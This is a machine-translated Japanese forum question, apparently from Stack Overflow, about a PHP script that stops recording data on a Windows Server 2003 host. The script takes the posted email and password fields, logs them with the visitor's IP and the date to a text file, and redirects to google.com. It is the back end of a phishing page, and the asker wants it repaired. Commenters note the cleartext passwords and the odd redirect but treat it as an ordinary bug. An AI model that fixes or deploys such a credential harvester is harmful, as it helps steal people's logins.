私は以前このスクリプトをLinuxのボックスで使用していましたが、動作していますが、新しいWindows Server 2003サーバーで使用すると機能しません。過去に私は777にファイルをchmoddingでこの問題を解決しましたが、あなたは窓でそれを行うことはできません。ここPHPは.txtファイルにのみデータの一部を書きます
コードです:
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
それはBOX1とBOX2データの空白を出力し、それはまだ.txtファイルにIPと日付を記録します。提案してください?
Whats 'header(" Location:http://google.com "); '? –
中括弧はなぜですか?また、 'error_reporting(E_ALL);'を設定し、あなたが得るエラーを見てください。一般的な注意点:クリアテキストのパスワードをテキストファイルに書き込んでいます。あなたはそうしてはいけません。 – Tomalak
バイナリフラグfopen( "list.txt"、 "ab")でfopenを試してください。 – djot